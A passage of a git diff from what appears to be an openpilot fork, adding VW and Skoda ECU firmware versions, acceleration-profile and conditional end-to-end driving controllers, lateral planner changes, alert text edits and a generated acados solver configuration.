b'\xf1\x873Q0959655DJ\xf1\x890731\xf1\x82\x0e1513001511001205232113052J00', + b'\xf1\x875QF959655AT\xf1\x890755\xf1\x82\x1311110011110011111100010200--1121240749', ], (Ecu.eps, 0x712, None): [ b'\xf1\x875Q0909143P \xf1\x892051\xf1\x820527T6050405', @@ -1186,6 +1224,7 @@ FW_VERSIONS = { b'\xf1\x875Q0909143P \xf1\x892051\xf1\x820527T6070405', b'\xf1\x875Q0910143C \xf1\x892211\xf1\x82\x0567T600G500', b'\xf1\x875Q0910143C \xf1\x892211\xf1\x82\x0567T600G600', + b'\xf1\x875TA907145F \xf1\x891063\xf1\x82\x002LT61A2LOM', ], (Ecu.fwdRadar, 0x757, None): [ b'\xf1\x872Q0907572Q \xf1\x890342', @@ -1241,19 +1280,24 @@ FW_VERSIONS = { CAR.SKODA_SCALA_MK1: { (Ecu.engine, 0x7e0, None): [ b'\xf1\x8704C906025AK\xf1\x897053', + b'\xf1\x8705C906032M \xf1\x892365', ], (Ecu.transmission, 0x7e1, None): [ + b'\xf1\x870CW300020 \xf1\x891907', b'\xf1\x870CW300050 \xf1\x891709', ], (Ecu.srs, 0x715, None): [ b'\xf1\x872Q0959655AJ\xf1\x890250\xf1\x82\x1211110411110411--04040404131111112H14', b'\xf1\x872Q0959655AM\xf1\x890351\xf1\x82\022111104111104112104040404111111112H14', + b'\xf1\x872Q0959655AS\xf1\x890411\xf1\x82\x1311150411110411210404040417151215391413', ], (Ecu.eps, 0x712, None): [ b'\xf1\x872Q1909144M \xf1\x896041', + b'\xf1\x872Q1909144AB\xf1\x896050', ], (Ecu.fwdRadar, 0x757, None): [ b'\xf1\x872Q0907572R \xf1\x890372', + b'\xf1\x872Q0907572AA\xf1\x890396', ], }, CAR.SKODA_SUPERB_MK3: { @@ -1273,6 +1317,7 @@ FW_VERSIONS = { b'\xf1\x870D9300011T \xf1\x894801', b'\xf1\x870D9300012 \xf1\x894940', b'\xf1\x870D9300013A \xf1\x894905', + b'\xf1\x870D9300014K \xf1\x895006', b'\xf1\x870D9300041H \xf1\x894905', b'\xf1\x870D9300043F \xf1\x895202', b'\xf1\x870GC300014M \xf1\x892801', @@ -1283,6 +1328,7 @@ FW_VERSIONS = { b'\xf1\x875Q0959655AE\xf1\x890130\xf1\x82\x12111200111121001121110012211292221111', b'\xf1\x875Q0959655AE\xf1\x890130\xf1\x82\022111200111121001121118112231292221111', b'\xf1\x875Q0959655AK\xf1\x890130\xf1\x82\022111200111121001121110012211292221111', + b'\xf1\x875Q0959655AS\xf1\x890317\xf1\x82\x1331310031313100313131823133319331313100', b'\xf1\x875Q0959655BH\xf1\x890336\xf1\x82\02331310031313100313131013141319331413100', b'\xf1\x875Q0959655CA\xf1\x890403\xf1\x82\x1331310031313100313151013141319331423100', b'\xf1\x875Q0959655CH\xf1\x890421\xf1\x82\x1333310031313100313152025350539331463100', @@ -1291,6 +1337,7 @@ FW_VERSIONS = { (Ecu.eps, 0x712, None): [ b'\xf1\x875Q0909143K \xf1\x892033\xf1\x820514UZ070203', b'\xf1\x875Q0909143M \xf1\x892041\xf1\x820522UZ070303', + b'\xf1\x875Q0909143P \xf1\x892051\xf1\x820526UZ070505', b'\xf1\x875Q0910143B \xf1\x892201\xf1\x82\00563UZ060700', b'\xf1\x875Q0910143B \xf1\x892201\xf1\x82\x0563UZ060600', b'\xf1\x875Q0910143C \xf1\x892211\xf1\x82\x0567UZ070600', diff --git a/selfdrive/controls/controlsd.py b/selfdrive/controls/controlsd.py index 90ae068f0..c02061d48 100755 --- a/selfdrive/controls/controlsd.py +++ b/selfdrive/controls/controlsd.py @@ -7,8 +7,9 @@ from cereal import car, log from common.numpy_fast import clip from common.realtime import sec_since_boot, config_realtime_process, Priority, Ratekeeper, DT_CTRL from common.profiler import Profiler -from common.params import Params, put_nonblocking +from common.params import Params, put_nonblocking, put_bool_nonblocking import cereal.messaging as messaging +from cereal.visionipc import VisionIpcClient, VisionStreamType from common.conversions import Conversions as CV from panda import ALTERNATIVE_EXPERIENCE from system.swaglog import cloudlog @@ -40,8 +41,6 @@ IGNORE_PROCESSES = {"loggerd", "encoderd", "statsd", "mapd"} NO_IR_CTRL = Params().get_bool("dp_device_no_ir_ctrl") if NO_IR_CTRL: IGNORE_PROCESSES |= {'driverCameraState', 'driverMonitoringState'} -NO_FAN_CTRL = Params().get_bool("dp_no_fan_ctrl") -NO_GPS_CTRL = Params().get_bool("dp_no_gps_ctrl") ThermalStatus = log.DeviceState.ThermalStatus State = log.ControlsState.OpenpilotState @@ -100,8 +99,6 @@ class Controls: ignore += ['driverCameraState', 'managerState'] if NO_IR_CTRL: ignore += ['driverCameraState', 'driverMonitoringState'] - # if self.params.get_bool('WideCameraOnly'): - # ignore += ['roadCameraState'] self.sm = messaging.SubMaster(['deviceState', 'pandaStates', 'peripheralState', 'modelV2', 'liveCalibration', 'driverMonitoringState', 'longitudinalPlan', 'lateralPlan', 'liveLocationKalman', 'managerState', 'liveParameters', 'radarState', 'liveTorqueParameters', 'testJoystick'] + self.camera_packets, @@ -191,6 +188,7 @@ class Controls: self.events_prev = [] self.current_alert_types = [ET.PERMANENT] self.logged_comm_issue = None + self.not_running_prev = None self.last_actuators = car.CarControl.Actuators.new_message() self.steer_limited = False self.desired_curvature = 0.0 @@ -227,6 +225,7 @@ class Controls: if REPLAY: controls_state = Params().get("ReplayControlsState") if controls_state is not None: + # with log.ControlsState.from_bytes(controls_state) as controls_state: controls_state = log.ControlsState.from_bytes(controls_state) self.v_cruise_helper.v_cruise_kph = controls_state.vCruise @@ -282,7 +281,6 @@ class Controls: if self.sm['deviceState'].freeSpacePercent < 7 and not SIMULATION: # under 7% of space free no enable allowed self.events.add(EventName.outOfSpace) - # TODO: make tici threshold the same if self.sm['deviceState'].memoryUsagePercent > 90 and not SIMULATION: self.events.add(EventName.lowMemory) @@ -351,6 +349,9 @@ class Controls: not_running = {p.name for p in self.sm['managerState'].processes if not p.running and p.shouldBeRunning} if self.sm.rcv_frame['managerState'] and (not_running - IGNORE_PROCESSES): self.events.add(EventName.processNotRunning) + if not_running != self.not_running_prev: + cloudlog.event("process_not_running", not_running=not_running, error=True) + self.not_running_prev = not_running else: if not SIMULATION and not self.rk.lagging: if not self.sm.all_alive(self.camera_packets): @@ -392,7 +393,7 @@ class Controls: else: self.logged_comm_issue = None - if not self.sm['liveParameters'].valid and not TESTING_CLOSET: + if not self.sm['liveParameters'].valid and not TESTING_CLOSET and (not SIMULATION or REPLAY): self.events.add(EventName.vehicleModelInvalid) if not self.sm['lateralPlan'].mpcSolutionValid: self.events.add(EventName.plannerError) @@ -430,7 +431,7 @@ class Controls: pass # TODO: fix simulator - if not SIMULATION: + if not SIMULATION or REPLAY: if not NOSENSOR and not self.dp_no_gps_ctrl: # rick - assuming gps never ok before and it's ok once, meaning the gps is functioning if not self.dp_gps_ok_once and self.sm['liveLocationKalman'].gpsOK: @@ -458,13 +459,19 @@ class Controls: if not self.initialized: all_valid = CS.canValid and self.sm.all_checks() timed_out = self.sm.frame * DT_CTRL > (6. if REPLAY else 3.5) - if all_valid or timed_out or SIMULATION: + if all_valid or timed_out or (SIMULATION and not REPLAY): + available_streams = VisionIpcClient.available_streams("camerad", block=False) + if VisionStreamType.VISION_STREAM_ROAD not in available_streams: + self.sm.ignore_alive.append('roadCameraState') + if VisionStreamType.VISION_STREAM_WIDE_ROAD not in available_streams: + self.sm.ignore_alive.append('wideRoadCameraState') + if not self.read_only: self.CI.init(self.CP, self.can_sock, self.pm.sock['sendcan']) self.initialized = True self.set_initial_state() - Params().put_bool("ControlsReady", True) + put_bool_nonblocking("ControlsReady", True) # Check for CAN timeout if not can_strs: diff --git a/selfdrive/controls/lib/accel_controller.py b/selfdrive/controls/lib/accel_controller.py new file mode 100644 index 000000000..d9b0beaee --- /dev/null +++ b/selfdrive/controls/lib/accel_controller.py @@ -0,0 +1,47 @@ +from common.numpy_fast import interp + +DP_ACCEL_STOCK = 0 +DP_ACCEL_ECO = 1 +DP_ACCEL_NORMAL = 2 +DP_ACCEL_SPORT = 3 + +# accel profile by @arne182 modified by cgw +_DP_CRUISE_MIN_V = [-0.765, -0.765, -0.80, -0.80, -0.75, -0.70] +_DP_CRUISE_MIN_V_ECO = [-0.760, -0.760, -0.76, -0.76, -0.70, -0.65] +_DP_CRUISE_MIN_V_SPORT = [-0.770, -0.770, -0.90, -1.00, -0.90, -0.80] +_DP_CRUISE_MIN_BP = [0., 15.66, 17.88, 20., 30., 55.] +#DP_CRUISE_MIN_BP in mph=[0., 18, 35, 40, 45, 67, 123] + +_DP_CRUISE_MAX_V = [3.4, 2.8, 1.8, 1.4, 1.06, .88, .68, .46, .35, .13] +_DP_CRUISE_MAX_V_ECO = [3.2, 2.6, 1.6, 1.2, .76, .62, .48, .36, .28, .09] +_DP_CRUISE_MAX_V_SPORT = [3.5, 3.0, 2.4, 2.9, 2.1, 1.7, 1.3, .9, .7, .5] +_DP_CRUISE_MAX_BP = [0., 3, 6., 8., 11., 15., 20., 25., 30., 55.] +#DP_CRUISE_MAX_BP in mph=[0., 6.7, 13, 18, 25, 33, 45, 56, 67, 123] + + +class AccelController: + + def __init__(self): + # self._params = Params() + self._profile = DP_ACCEL_STOCK + + def set_profile(self, profile): + try: + self._profile = int(profile) if int(profile) in [DP_ACCEL_STOCK, DP_ACCEL_ECO, DP_ACCEL_NORMAL, DP_ACCEL_SPORT] else DP_ACCEL_STOCK + except: + self._profile = DP_ACCEL_STOCK + + def _dp_calc_cruise_accel_limits(self, v_ego): + if self._profile == DP_ACCEL_ECO: + a_cruise_min = interp(v_ego, _DP_CRUISE_MIN_BP, _DP_CRUISE_MIN_V_ECO) + a_cruise_max = interp(v_ego, _DP_CRUISE_MAX_BP, _DP_CRUISE_MAX_V_ECO) + elif self._profile == DP_ACCEL_SPORT: + a_cruise_min = interp(v_ego, _DP_CRUISE_MIN_BP, _DP_CRUISE_MIN_V_SPORT) + a_cruise_max = interp(v_ego, _DP_CRUISE_MAX_BP, _DP_CRUISE_MAX_V_SPORT) + else: + a_cruise_min = interp(v_ego, _DP_CRUISE_MIN_BP, _DP_CRUISE_MIN_V) + a_cruise_max = interp(v_ego, _DP_CRUISE_MAX_BP, _DP_CRUISE_MAX_V) + return a_cruise_min, a_cruise_max + + def get_accel_limits(self, v_ego, accel_limits): + return accel_limits if self._profile == DP_ACCEL_STOCK else self._dp_calc_cruise_accel_limits(v_ego) diff --git a/selfdrive/controls/lib/alertmanager.py b/selfdrive/controls/lib/alertmanager.py index cb878483d..f32e83833 100644 --- a/selfdrive/controls/lib/alertmanager.py +++ b/selfdrive/controls/lib/alertmanager.py @@ -16,10 +16,8 @@ with open(os.path.join(BASEDIR, "selfdrive/controls/lib/alerts_offroad.json")) a def set_offroad_alert(alert: str, show_alert: bool, extra_text: Optional[str] = None) -> None: if show_alert: - a = OFFROAD_ALERTS[alert] - if extra_text is not None: - a = copy.copy(OFFROAD_ALERTS[alert]) - a['text'] += extra_text + a = copy.copy(OFFROAD_ALERTS[alert]) + a['extra'] = extra_text or '' Params().put(alert, json.dumps(a)) else: Params().remove(alert) diff --git a/selfdrive/controls/lib/alerts_offroad.json b/selfdrive/controls/lib/alerts_offroad.json index 9226c94d8..35446ca22 100644 --- a/selfdrive/controls/lib/alerts_offroad.json +++ b/selfdrive/controls/lib/alerts_offroad.json @@ -1,21 +1,21 @@ { "Offroad_TemperatureTooHigh": { - "text": "Device temperature too high. System won't start.", + "text": "Device temperature too high. System cooling down before starting. Current internal component temperature: %1", "severity": 1 }, "Offroad_ConnectivityNeededPrompt": { - "text": "Immediately connect to the internet to check for updates. If you do not connect to the internet, openpilot won't engage in ", + "text": "Immediately connect to the internet to check for updates. If you do not connect to the internet, openpilot won't engage in %1", "severity": 0, - "_comment": "Append the number of days at the end of the text" + "_comment": "Set extra field to number of days" }, "Offroad_ConnectivityNeeded": { "text": "Connect to internet to check for updates. openpilot won't automatically start until it connects to internet to check for updates.", "severity": 1 }, "Offroad_UpdateFailed": { - "text": "Unable to download updates\n", + "text": "Unable to download updates\n%1", "severity": 1, - "_comment": "Append the command and error to the text." + "_comment": "Set extra field to the failed reason." }, "Offroad_InvalidTime": { "text": "Invalid date and time settings, system won't start. Connect to internet to set time.", diff --git a/selfdrive/controls/lib/desire_helper.py b/selfdrive/controls/lib/desire_helper.py index 4790b8f0e..4652b41c1 100644 --- a/selfdrive/controls/lib/desire_helper.py +++ b/selfdrive/controls/lib/desire_helper.py @@ -69,6 +69,7 @@ class DesireHelper: if not one_blinker or below_lane_change_speed: self.lane_change_state = LaneChangeState.off + self.lane_change_direction = LaneChangeDirection.none elif torque_applied and not blindspot_detected: self.lane_change_state = LaneChangeState.laneChangeStarting diff --git a/selfdrive/controls/lib/dynamic_endtoend_controller.py b/selfdrive/controls/lib/dynamic_endtoend_controller.py new file mode 100644 index 000000000..4ac9572a8 --- /dev/null +++ b/selfdrive/controls/lib/dynamic_endtoend_controller.py @@ -0,0 +1,120 @@ +from common.numpy_fast import interp +from common.params import Params + +# d-e2e, from modeldata.h +TRAJECTORY_SIZE = 33 + +_DP_E2E_LEAD_COUNT = 5 + +_DP_E2E_STOP_BP = [0., 10., 20., 30., 40., 50., 55.] +_DP_E2E_STOP_DIST = [10, 30., 50., 70., 80., 90., 120.] +_DP_E2E_STOP_COUNT = 3 + +_DP_E2E_SNG_COUNT = 3 +_DP_E2E_SNG_ACC_COUNT = 3 +_DP_E2E_SWAP_COUNT = 5 + +_DP_E2E_TF_COUNT = 5 + + +class DynamicEndtoEndController: + + def __init__(self): + self._params = Params() + self._is_enabled = False + self._mode = 'acc' + + # conditional e2e + self.dp_e2e_has_lead = False + self.dp_e2e_lead_last = False + self.dp_e2e_lead_count = 0 + self.dp_e2e_sng = False + self.dp_e2e_sng_count = 0 + self.dp_e2e_standstill_last = False + self.dp_e2e_swap_count = 0 + self.dp_e2e_stop_count = 0 + self.dp_e2e_tf_count = 0 + pass + + def _set_dp_e2e_mode(self, mode, force=False): + if force: + self.dp_e2e_swap_count = 0 + self._mode = mode + return + + else: + # prevent switching in a short period of time. + if self._mode == mode: + self.dp_e2e_swap_count = 0 + else: + self.dp_e2e_swap_count += 1 + + if self.dp_e2e_swap_count >= _DP_E2E_SWAP_COUNT: + self._mode = mode + + def _process_conditional_e2e(self, radar_unavailable, car_state, lead_one, md): + v_ego_kph = car_state.vEgo * 3.6 + + # make sure it see lead enough time + if lead_one.status != self.dp_e2e_lead_last: + self.dp_e2e_lead_count = 0 + else: + self.dp_e2e_lead_count += 1 + if self.dp_e2e_lead_count >= _DP_E2E_LEAD_COUNT: + self.dp_e2e_has_lead = lead_one.status + self.dp_e2e_lead_last = lead_one.status + + # when standstill, always e2e + if car_state.standstill: + self.dp_e2e_sng_count = 0 + self.dp_e2e_sng = False + return self._set_dp_e2e_mode('blended') + + if self.dp_e2e_standstill_last and not car_state.standstill: + self.dp_e2e_sng = True + + # when sng, we e2e for 0.5 secs + if self.dp_e2e_sng: + self.dp_e2e_sng_count += 1 + if self.dp_e2e_sng_count > _DP_E2E_SNG_COUNT: + if self.dp_e2e_sng_count > _DP_E2E_SNG_ACC_COUNT: + self.dp_e2e_sng = False + return self._set_dp_e2e_mode('acc', True) + return self._set_dp_e2e_mode('blended') + + # when we see a lead + # voacc cars only + if radar_unavailable and self.dp_e2e_has_lead: + if lead_one.dRel <= car_state.vEgo * 1.22: + self.dp_e2e_tf_count += 1 + else: + self.dp_e2e_tf_count = 0 + if self.dp_e2e_tf_count > _DP_E2E_TF_COUNT: + return self._set_dp_e2e_mode('blended', True) + + # stop sign detection + if abs(car_state.steeringAngleDeg) <= 60 and len(md.orientation.x) == len(md.position.x) == TRAJECTORY_SIZE: + if md.position.x[TRAJECTORY_SIZE - 1] < interp(v_ego_kph, _DP_E2E_STOP_BP, _DP_E2E_STOP_DIST): + self.dp_e2e_stop_count += 1 + else: + self.dp_e2e_stop_count = 0 + else: + self.dp_e2e_stop_count = 0 + + if self.dp_e2e_stop_count >= _DP_E2E_STOP_COUNT: + return self._set_dp_e2e_mode('blended', True) + + return self._set_dp_e2e_mode('acc') + + def get_mpc_mode(self, mode, radar_unavailable, car_state, lead_one, md): + self._mode = mode + if self._is_enabled: + self._process_conditional_e2e(radar_unavailable, car_state, lead_one, md) + + return self._mode + + def set_enabled(self, enabled): + self._is_enabled = enabled + + def is_enabled(self): + return self._is_enabled diff --git a/selfdrive/controls/lib/events.py b/selfdrive/controls/lib/events.py old mode 100644 new mode 100755 index ec20b7861..217604193 --- a/selfdrive/controls/lib/events.py +++ b/selfdrive/controls/lib/events.py @@ -198,7 +198,7 @@ class StartupAlert(Alert): def __init__(self, alert_text_1: str, alert_text_2: str = _("Always keep hands on wheel and eyes on road"), alert_status=AlertStatus.normal): super().__init__(alert_text_1, alert_text_2, alert_status, AlertSize.mid, - Priority.LOWER, VisualAlert.none, AudibleAlert.none, 10.), + Priority.LOWER, VisualAlert.none, AudibleAlert.none, 5.), # ********** helper functions ********** @@ -962,3 +962,36 @@ EVENTS: Dict[int, Dict[str, Union[Alert, AlertCallbackType]]] = { }, } + + +if __name__ == '__main__': + # print all alerts by type and priority + from cereal.services import service_list + from collections import defaultdict, OrderedDict + + event_names = {v: k for k, v in EventName.schema.enumerants.items()} + alerts_by_type: Dict[str, Dict[int, List[str]]] = defaultdict(lambda: defaultdict(list)) + + CP = car.CarParams.new_message() + CS = car.CarState.new_message() + sm = messaging.SubMaster(list(service_list.keys())) + + for i, alerts in EVENTS.items(): + for et, alert in alerts.items(): + if callable(alert): + alert = alert(CP, CS, sm, False, 1) + priority = alert.priority + alerts_by_type[et][priority].append(event_names[i]) + + all_alerts = {} + for et, priority_alerts in alerts_by_type.items(): + all_alerts[et] = OrderedDict([ + (str(priority), l) + for priority, l in sorted(priority_alerts.items(), key=lambda x: -int(x[0])) + ]) + + for status, evs in sorted(all_alerts.items(), key=lambda x: x[0]): + print(f"**** {status} ****") + for p, alert_list in evs.items(): + print(f" {p}:") + print(" ", ', '.join(alert_list), "\n") diff --git a/selfdrive/controls/lib/lateral_mpc_lib/c_generated_code/Makefile b/selfdrive/controls/lib/lateral_mpc_lib/c_generated_code/Makefile index e2cfc6128..af8ceefce 100644 --- a/selfdrive/controls/lib/lateral_mpc_lib/c_generated_code/Makefile +++ b/selfdrive/controls/lib/lateral_mpc_lib/c_generated_code/Makefile @@ -80,8 +80,8 @@ OBJ+= $(OCP_OBJ) EXTERNAL_DIR= EXTERNAL_LIB= -INCLUDE_PATH = /data/openpilot/third_party/acados/include/acados/include -LIB_PATH = /data/openpilot/third_party/acados/include/acados/lib +INCLUDE_PATH = /data/openpilot/third_party/acados/include +LIB_PATH = /data/openpilot/third_party/acados/lib # preprocessor flags for make's implicit rules CPPFLAGS+= -I$(INCLUDE_PATH) diff --git a/selfdrive/controls/lib/lateral_planner.py b/selfdrive/controls/lib/lateral_planner.py index 7180ab951..7d5292a0e 100644 --- a/selfdrive/controls/lib/lateral_planner.py +++ b/selfdrive/controls/lib/lateral_planner.py @@ -31,13 +31,16 @@ STEERING_RATE_COST = 800.0 class LateralPlanner: - def __init__(self, CP): + def __init__(self, CP, debug=False): self.DH = DesireHelper() params = Params() - self.dp_lat_lane_priority_mode = params.get_bool("dp_lat_lane_priority_mode") - self.dp_lat_lane_priority_mode_active = False - self.LP = LanePlanner() if self.dp_lat_lane_priority_mode else None + self._dp_lat_lane_priority_mode = params.get_bool("dp_lat_lane_priority_mode") + self._dp_lat_lane_priority_mode_active = False + self._dp_lat_lane_priority_mode_active_prev = False + self.LP = LanePlanner() + # dp // mapd - for vision turn controller + self._d_path_w_lines_xyz = np.zeros((TRAJECTORY_SIZE, 3)) # Vehicle model parameters used to calculate lateral movement of car self.factor1 = CP.wheelbase - CP.centerToFront @@ -55,6 +58,8 @@ class LateralPlanner: self.l_lane_change_prob = 0.0 self.r_lane_change_prob = 0.0 + self.debug_mode = debug + self.lat_mpc = LateralMpc() self.reset_mpc(np.zeros(4)) @@ -81,7 +86,7 @@ class LateralPlanner: self.l_lane_change_prob = desire_state[log.LateralPlan.Desire.laneChangeLeft] self.r_lane_change_prob = desire_state[log.LateralPlan.Desire.laneChangeRight] - if self.dp_lat_lane_priority_mode: + if self._dp_lat_lane_priority_mode: self.LP.parse_model(md) lane_change_prob = self.LP.l_lane_change_prob + self.LP.r_lane_change_prob else: @@ -89,10 +94,11 @@ class LateralPlanner: self.DH.update(sm['carState'], sm['carControl'].latActive, lane_change_prob) - if self.dp_lat_lane_priority_mode: + if self._dp_lat_lane_priority_mode: d_path_xyz = self._get_laneless_laneline_d_path_xyz() else: d_path_xyz = self.path_xyz + self._d_path_w_lines_xyz = d_path_xyz self.lat_mpc.set_weights(PATH_COST, LATERAL_MOTION_COST, LATERAL_ACCEL_COST, LATERAL_JERK_COST, @@ -149,16 +155,30 @@ class LateralPlanner: lateralPlan.mpcSolutionValid = bool(plan_solution_valid) lateralPlan.solverExecutionTime = self.lat_mpc.solve_time + if self.debug_mode: + lateralPlan.solverCost = self.lat_mpc.cost + lateralPlan.solverState = log.LateralPlan.SolverState.new_message() + lateralPlan.solverState.x = self.lat_mpc.x_sol.tolist() + lateralPlan.solverState.u = self.lat_mpc.u_sol.flatten().tolist() lateralPlan.desire = self.DH.desire - lateralPlan.useLaneLines = self.dp_lat_lane_priority_mode and self.dp_lat_lane_priority_mode_active + lateralPlan.useLaneLines = self._dp_lat_lane_priority_mode and self._dp_lat_lane_priority_mode_active lateralPlan.laneChangeState = self.DH.lane_change_state lateralPlan.laneChangeDirection = self.DH.lane_change_direction pm.send('lateralPlan', plan_send) + # dp - extension + plan_ext_send = messaging.new_message('lateralPlanExt') + + lateralPlanExt = plan_ext_send.lateralPlanExt + lateralPlanExt.dPathWLinesX = [float(x) for x in self._d_path_w_lines_xyz[:, 0]] + lateralPlanExt.dPathWLinesY = [float(y) for y in self._d_path_w_lines_xyz[:, 1]] + + pm.send('lateralPlanExt', plan_ext_send) + def _get_laneless_laneline_d_path_xyz(self): - if self.dp_lat_lane_priority_mode and self.LP is not None: + if self._dp_lat_lane_priority_mode and self.LP is not None: # Turn off lanes during lane change if self.DH.desire == log.LateralPlan.Desire.laneChangeRight or self.DH.desire == log.LateralPlan.Desire.laneChangeLeft: self.LP.lll_prob *= self.DH.lane_change_ll_prob @@ -166,12 +186,17 @@ class LateralPlanner: # decide what mode should we use if (self.LP.lll_prob + self.LP.rll_prob)/2 < 0.3: - self.dp_lat_lane_priority_mode_active = False + self._dp_lat_lane_priority_mode_active = False if (self.LP.lll_prob + self.LP.rll_prob)/2 > 0.5: - self.dp_lat_lane_priority_mode_active = True + self._dp_lat_lane_priority_mode_active = True + + # perform reset mpc + if self._dp_lat_lane_priority_mode_active != self._dp_lat_lane_priority_mode_active_prev: + self.reset_mpc() + self._dp_lat_lane_priority_mode_active_prev = self._dp_lat_lane_priority_mode_active # use default path if not active - if not self.dp_lat_lane_priority_mode_active: + if not self._dp_lat_lane_priority_mode_active: return self.path_xyz # use lane planner path diff --git a/selfdrive/controls/lib/legacy_lateral_mpc_lib/acados_ocp_lat.json b/selfdrive/controls/lib/legacy_lateral_mpc_lib/acados_ocp_lat.json new file mode 100644 index 000000000..79a5e8c32 --- /dev/null +++ b/selfdrive/controls/lib/legacy_lateral_mpc_lib/acados_ocp_lat.json @@ -0,0 +1,450 @@ +{ + "acados_include_path": "/data/openpilot/third_party/acados/include", + "acados_lib_path": "/data/openpilot/third_party/acados/lib", + "code_export_directory": "/data/openpilot/selfdrive/controls/lib/legacy_lateral_mpc_lib/c_generated_code", + "constraints": { + "C": [], + "C_e": [], + "D": [], + "constr_type": "BGH", + "constr_type_e": "BGH", + "idxbu": [], + "idxbx": [ + 2, + 3 + ], + "idxbx_0": [ + 0, + 1, + 2, + 3 + ], + "idxbx_e": [], + "idxbxe_0": [ + 0, + 1, + 2, + 3 + ], + "idxsbu": [], + "idxsbx": [], + "idxsbx_e": [], + "idxsg": [], + "idxsg_e": [], + "idxsh": [], + "idxsh_e": [], + "idxsphi": [], + "idxsphi_e": [], + "lbu": [], + "lbx": [ + -1.5707963267948966, + -0.8726646259971648 + ], + "lbx_0": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "lbx_e": [], + "lg": [], + "lg_e": [], + "lh": [], + "lh_e": [], + "lphi": [], + "lphi_e": [], + "lsbu": [], + "lsbx": [], + "lsbx_e": [], + "lsg": [], + "lsg_e": [], + "lsh": [], + "lsh_e": [], + "lsphi": [], + "lsphi_e": [], + "ubu": [], + "ubx": [ + 1.5707963267948966, + 0.8726646259971648 + ], + "ubx_0": [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + "ubx_e": [], + "ug": [], + "ug_e": [], + "uh": [], + "uh_e": [], + "uphi": [], + "uphi_e": [], + "usbu": [], + "usbx": [], + "usbx_e": [], + "usg": [], + "usg_e": [], + "ush": [], + "ush_e": [], + "usphi": [], + "usphi_e": [] + }, + "cost": { + "Vu": [ + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ] + ], + "Vu_0": [ + [ + 0.0 + ], + [ + 0.0 + ], + [ + 0.0 + ] + ], + "Vx": [ + [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0 + ] + ], + "Vx_0": [ + [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0 + ] + ], + "Vx_e": [ + [ + 0.0, + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0, + 0.0 + ] + ], + "Vz": [], + "Vz_0": [], + "W": [ + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ] + ], + "W_0": [ + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ], + [ + 0.0, + 0.0, + 0.0 + ] + ], + "W_e": [ + [ + 0.0, + 0.0 + ], + [ + 0.0, + 0.0 + ] + ], + "Zl": [], + "Zl_e": [], + "Zu": [], + "Zu_e": [], + "cost_ext_fun_type": "casadi", + "cost_ext_fun_type_0": "casadi", + "cost_ext_fun_type_e": "casadi", + "cost_type": "NONLINEAR_LS", + "cost_type_0": "NONLINEAR_LS", + "cost_type_e": "NONLINEAR_LS", + "yref": [ + 0.0, + 0.0, + 0.0 + ], + "yref_0": [ + 0.0, + 0.0, + 0.0 + ], + "yref_e": [ + 0.0, + 0.0 + ], + "zl": [], + "zl_e": [], + "zu": [], + "zu_e": [] + }, + "cython_include_dirs": "/data/data/com.termux/files/usr/lib/python3.8/site-packages/numpy/core/include", + "dims": { + "N": 16, + "nbu": 0, + "nbx": 2, + "nbx_0": 4, + "nbx_e": 0, + "nbxe_0": 4, + "ng": 0, + "ng_e": 0, + "nh": 0, + "nh_e": 0, + "np": 2, + "nphi": 0, + "nphi_e": 0, + "nr": 0, + "nr_e": 0, + "ns": 0, + "ns_e": 0, + "nsbu": 0, + "nsbx": 0, + "nsbx_e": 0, + "nsg": 0, + "nsg_e": 0, + "nsh": 0, + "nsh_e": 0, + "nsphi": 0, + "nsphi_e": 0, + "nu": 1, + "nx": 4, + "ny": 3, + "ny_0": 3, + "ny_e": 2, + "nz": 0 + }, + "model": { + "dyn_disc_fun": null, + "dyn_disc_fun_jac": null, + "dyn_disc_fun_jac_hess": null, + "dyn_ext_fun_type": "casadi", + "dyn_source_discrete": null, + "gnsf": { + "nontrivial_f_LO": 1, + "purely_linear": 0 + }, + "name": "lat" + }, + "parameter_values": [ + 0.0, + 0.0 + ], + "problem_class": "OCP", + "simulink_opts": { + "inputs": { + "cost_W": 0, + "cost_W_0": 0, + "cost_W_e": 0, + "lbu": 1, + "lbx": 1, + "lbx_0": 1, + "lbx_e": 1, + "lg": 1, + "lh": 1, + "parameter_traj": 1, + "reset_solver": 0, + "u_init": 0, + "ubu": 1, + "ubx": 1, + "ubx_0": 1, + "ubx_e": 1, + "ug": 1, + "uh": 1, + "x_init": 0, + "y_ref": 1, + "y_ref_0": 1, + "y_ref_e": 1 + }, + "outputs": { + "CPU_time": 1, + "CPU_time_lin": 0, + "CPU_time_qp": 0, + "CPU_time_sim": 0, + "KKT_residual": 1, + "solver_status": 1, + "sqp_iter": 1, + "u0": 1, + "utraj": 0, + "x1": 1, + "xtraj": 0 + }, + "samplingtime": "t0" + }, + "solver_options": { + "Tsim": 0.009765625, + "alpha_min": 0.05, + "alpha_reduction": 0.7, + "collocation_type": "GAUSS_LEGENDRE", + "eps_sufficient_descent": 0.0001, + "exact_hess_constr": 1, + "exact_hess_cost": 1, + "exact_hess_dyn": 1, + "ext_cost_num_hess": 0, + "full_step_dual": 0, + "globalization": "FIXED_STEP", + "globalization_use_SOC": 0, + "hessian_approx": "GAUSS_NEWTON", + "hpipm_mode": "BALANCE", + "initialize_t_slacks": 0, + "integrator_type": "ERK", + "levenberg_marquardt": 0.0, + "line_search_use_sufficient_descent": 0, + "model_external_shared_lib_dir": null, + "model_external_shared_lib_name": null, + "nlp_solver_max_iter": 100, + "nlp_solver_step_length": 1.0, + "nlp_solver_tol_comp": 1e-06, + "nlp_solver_tol_eq": 1e-06, + "nlp_solver_tol_ineq": 1e-06, + "nlp_solver_tol_stat": 1e-06, + "nlp_solver_type": "SQP_RTI", + "print_level": 0, + "qp_solver": "PARTIAL_CONDENSING_HPIPM", + "qp_solver_cond_N": 1, + "qp_solver_iter_max": 1, + "qp_solver_tol_comp": null, + "qp_solver_tol_eq": null, + 